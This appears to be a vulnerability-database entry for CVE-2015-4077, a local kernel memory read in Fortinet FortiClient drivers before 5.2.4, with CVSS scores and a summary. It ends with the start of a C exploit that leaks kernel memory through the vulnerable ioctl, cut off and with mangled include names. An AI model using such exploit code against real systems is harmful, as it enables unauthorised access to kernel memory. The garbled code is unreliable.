2.1
CVSSv2

CVE-2015-4077

Published: 03/09/2015 Updated: 09/10/2018
CVSS v2 Base Score: 2.1 | Impact Score: 2.9 | Exploitability Score: 3.9
VMScore: 215
Vector: AV:L/AC:L/Au:N/C:P/I:N/A:N

Vulnerability Summary

The (1) mdare64_48.sys, (2) mdare32_48.sys, (3) mdare32_52.sys, and (4) mdare64_52.sys drivers in Fortinet FortiClient prior to 5.2.4 allow local users to read arbitrary kernel memory via a 0x22608C ioctl call.

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fortinet forticlient

Exploits

#include "stdafxh" #include <stdioh> #include <Windowsh> #include <Psapih> #include <Shlobjh> #pragma comment (lib,"psapi") PULONGLONG leak_buffer = (PULONGLONG)VirtualAlloc((LPVOID)0x000000001a000000, 0x2000, MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE); ULONGLONG leakQWORD(ULONGLONG addr, HANDLE driver) { memset((LPVO ...